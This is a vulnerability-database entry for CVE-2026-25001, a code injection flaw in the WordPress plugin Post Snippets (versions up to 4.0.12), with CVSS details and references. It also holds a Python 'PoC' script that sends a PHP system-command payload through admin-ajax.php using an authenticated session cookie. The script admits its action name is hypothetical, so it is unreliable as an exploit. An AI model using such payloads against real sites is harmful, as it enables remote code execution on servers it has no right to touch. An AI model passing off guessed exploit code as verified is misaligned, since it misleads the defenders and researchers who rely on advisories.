CVE-2026-25001

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Saad Iqbal Post Snippets post-snippets allows Remote Code Inclusion.This issue affects Post Snippets: from n/a through <= 4.0.12.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Post Snippets <= 4.0.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Post Snippets <= 4.0.12 - Remote Code Execution (RCE)
# Description: Injects malicious code into a snippet to execute system commands.
# Author: Security Analyst

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
attacker_cookies = {
    "wordpress_logged_in_12345": "attacker_cookie_value"
}

# Payload to execute a shell command (e.g., 'id')
payload = "<?php system('id'); ?>"

# Data for the vulnerable request
exploit_data = {
    "action": "ps_save_snippet", # Hypothetical action name based on plugin structure
    "snippet_id": "",
    "snippet_name": "RCE_POC",
    "snippet_code": payload,
    "snippet_vars": ""
}

try:
    response = requests.post(target_url, data=exploit_data, cookies=attacker_cookies)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25001
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25001
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25001/
[4] VulDB https://vuldb.com/cve/CVE-2026-25001
[5] https://patchstack.com/database/Wordpress/Plugin/post-snippets/vulnerability/wordpress-post-snippets-plugin-4-0-12-remote-code-execution-rce-vulnerability?_s_id=cve

Raw JSON Data

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